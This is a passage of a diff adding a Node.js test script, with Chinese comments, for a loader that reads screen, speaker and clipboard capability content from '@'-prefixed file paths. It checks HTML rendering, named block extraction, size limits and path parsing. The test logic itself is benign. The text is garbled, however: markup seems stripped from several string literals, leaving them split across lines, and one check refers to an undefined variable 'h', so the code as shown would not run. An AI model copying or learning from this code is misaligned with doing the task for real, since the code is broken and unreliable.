", + "utf-8", +); +writeFileSync(p("big.html"), "x".repeat(2 * 1024 * 1024 + 10), "utf-8"); + +const sandbox = { + console, + // main.js 里用的是 CJS 的 require(...)，在 vm 沙箱里必须显式注入； + // 不能写 require: (m) => require(m)（ESM 作用域里没有 require）。 + require: (m) => nodeRequire(m), + fs: nodeFs, +}; +// ⚠️ 不能写 require: (m) => require(m)：本文件是 ESM（.mjs），没有 require。 +vm.createContext(sandbox); +vm.runInContext( + [ + "const CAPABILITY_SOURCE_MAX_BYTES = 2 * 1024 * 1024;", + extractFn("loadCapabilitySource"), + extractFn("resolveCapabilityArg"), + "globalThis.__load = loadCapabilitySource;", + "globalThis.__resolve = resolveCapabilityArg;", + ].join("\n"), + sandbox, +); +const load = sandbox.__load; +const resolve = sandbox.__resolve; + +console.log("screensue 从路径加载"); + +// ① .html 按 HTML 原样渲染 +{ + const r = load(p("board.html"), "", "html"); + check("读 .html 成功", r.ok, r.err); + check(".html 原样返回（不被转义）", r.ok && r.content.includes("

看板

"), + r.ok ? r.content.slice(0, 40) : ""); + check("from 回报绝对路径", r.ok && r.from === p("board.html")); +} + +// ② .md 按纯文本等宽渲染（转义） +{ + const r = load(p("notes.md"), "", "html"); + check("读 .md 成功", r.ok, r.err); + check(".md 包 
 且被转义", r.ok && r.content.startsWith(""),
+    r.ok ? r.content.slice(0, 50) : "");
+}
+
+// ③ 命名块抽取
+{
+  const a = load(p("multi.html"), "alerts", "html");
+  const s = load(p("multi.html"), "schedule", "html");
+  check("抽指定块 alerts", a.ok && a.content.includes("A1 A2") && !a.content.includes("三点开会"),
+    a.ok ? a.content : a.err);
+  check("抽另一块 schedule", s.ok && s.content.includes("三点开会") && !s.content.includes("A1"),
+    s.ok ? s.content : s.err);
+  check("from 带 #块名", a.ok && a.from.endsWith("#alerts"));
+  const miss = load(p("multi.html"), "nope", "html");
+  check("缺块明确报错", !miss.ok && /未找到块/.test(miss.err), miss.err);
+}
+
+// ④ 错误路径都给出可读原因，不静默
+{
+  check("目录被拒", !load(dir, "", "html").ok);
+  check("不存在的文件被拒", !load(p("nope.html"), "", "html").ok);
+  check("空路径被拒", !load("", "", "html").ok);
+  const big = load(p("big.html"), "", "html");
+  check("超 2MB 被拒且说明大小", !big.ok && /过大/.test(big.err), big.err);
+}
+
+// ⑤ ★ 字面内容（无 @ 前缀）必须完全不受影响
+//    调用点只在 raw.startsWith("@") 时才走加载；这里直接判该分支条件。
+{
+  check("字面内容不触发路径加载（需 @ 前缀）", !"
".startsWith("@"));
+  check("@ 字面量确实会触发", "@foo".startsWith("@"));
+}
+
+// ⑥ ★ speakeruse / clipboardsue 复用同一个 loader（text 模式）
+//    这三个能力都是「<名字> <内联文本>」，长文本都塞不进 command 字段。
+{
+  const r = load(p("notes.md"), "", "text");
+  check("text 模式返回纯文本（不包 
）",
+    r.ok && r.content.startsWith("# 标题") && !r.content.includes("看板"), h.ok ? h.content.slice(0, 40) : h.err);
+  const blk = load(p("multi.html"), "alerts", "text");
+  check("text 模式同样支持命名块", blk.ok && blk.content.includes("A1 A2"));
+}
+
+// ⑦ resolveCapabilityArg 的解析口径
+{
+  check("无 @ 前缀 ⇒ 不命中（保持内联行为）", resolve("你好").hit === false);
+  check("@ 路径解析", resolve("@/tmp/a.html").hit === true);
+  check("@ 路径 + #块名", (() => {
+    const r = resolve("@/tmp/a.html#alerts");
+    return r.hit && r.filePath === "/tmp/a.html" && r.blockName === "alerts";
+  })());
+  check("@ 路径无块名 ⇒ blockName 为空",
+    resolve("@/tmp/a.html").blockName === "");
+}
+
+rmSync(dir, { recursive: true, force: true });
+
+console.log(
+  failures === 0
+    ? "\nAll screensue-source checks passed."
+    : `\n${failures} check(s) failed.`,
+);
+process.exit(failures === 0 ? 0 : 1);
\ No newline at end of file